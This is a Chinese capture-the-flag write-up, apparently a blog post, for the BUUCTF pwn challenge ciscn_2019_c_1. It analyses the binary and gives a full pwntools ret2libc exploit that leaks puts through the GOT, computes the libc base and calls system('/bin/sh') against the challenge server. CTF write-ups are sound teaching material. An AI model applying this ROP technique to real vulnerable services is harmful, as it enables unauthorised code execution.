[BUUCTF-pwn]——ciscn_2019_c_1

本文详细介绍了如何通过RET2LIBC技术解决一个CTF比赛中的pwn类型题目。作者首先分析了二进制文件的安全特性,发现没有system函数,并确定了ret2libc的攻击策略。接着,利用ROPgadget找到所需汇编指令的地址,考虑到栈平衡,构造了exploit。在交互过程中,获取puts函数地址并计算libc基址,最终实现system调用执行/bin/sh。文章强调了在不同libc版本中可能需要尝试不同的方法。

[BUUCTF-pwn]——ciscn_2019_c_1

  • 题目地址:https://buuoj.cn/challenges#ciscn_2019_c_1
  • 题目:
    在这里插入图片描述
    下载下来checksec一下
    在这里插入图片描述
    再IDA上面看一下,利用shift + f12看下字符串,发现没有我们想要的字符串,也没有system函数。
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述
应该是ret2libc的题型。仔细观察函数,发现 '\0’开头的字符串可以完美的绕过加密,不改变我们输入的payload。或者也可以自己写一下解密函数。

先用ROPgadget 找一下需要用到的汇编指令的地址。ret ubuntu18上有栈平衡,用来进行栈对齐。
在这里插入图片描述

所以exploit如下

from pwn import*
p=remote('node4.buuoj.cn',27205)
elf=ELF('./ciscn_2019_c_1')
libc = ELF('libc-2.27.so')
context.log_level = 'debug'
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('Input your choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline() #将下面两个puts跳过
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
log.info("puts_addr:" + hex(puts_addr))

libc_base = puts_addr - libc.sym['puts'] #计算偏移
sys_addr = libc_base + libc.sym["system"]
binsh = libc_base + 0x00000000001b3e9a
p.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr) # p64(ret)的数量不固定,可以自己尝试。
p.sendlineafter('encrypted\n',payload)
p.interactive()

会出现两个libc的版本,两个都试试就可以了。
在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值